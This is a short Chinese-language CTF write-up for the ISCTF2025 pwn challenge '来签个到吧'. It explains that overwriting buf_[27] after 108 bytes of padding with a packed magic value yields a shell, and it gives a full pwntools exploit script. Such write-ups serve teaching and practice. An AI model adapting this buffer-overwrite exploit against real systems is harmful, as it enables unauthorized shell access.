来签个到吧
main函数:

这里就是一个条件检查,我们只要把buf_[27]填入-1378178390就给我们shell,这里我们只需要注意两个点,首先是_DWORD buf_[38],这里DWORD(Double Word)代表四字节
所以我们前面要填充4x27=108个字节
| IDA 写法 | C 语言常见写法 | 单个元素大小 |
|---|---|---|
_BYTE |
char/int8_t |
1字节 |
_WORD |
short/int16_t |
2字节 |
_DWORD |
int/int32_t |
4字节 |
_QWORD |
long long/int64_t |
8字节 |
还有一个点就是在python脚本中我们要填充-1378178390要用p64(-1378178390 & 0xffffffffffffffff)(题目是64位,32位要改成0xffffffff),这是补码表示。
EXP:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = process('./sign')
#p = remote('challenge.bluesharkinfo.com',26077)
payload = flat([
b'A' * 108,
p64(-1378178390 & 0xffffffffffffffff)
])
p.sendafter(b'do you like blueshark?', payload)
p.interactive()
题目链接:
CTF-Writeups/ISCTF2025/来签个到吧 at main · ZenDuk17/CTF-Writeups
来签个到吧
http://localhost:8080/archives/wei-ming-ming-wen-zhang-EQ00931H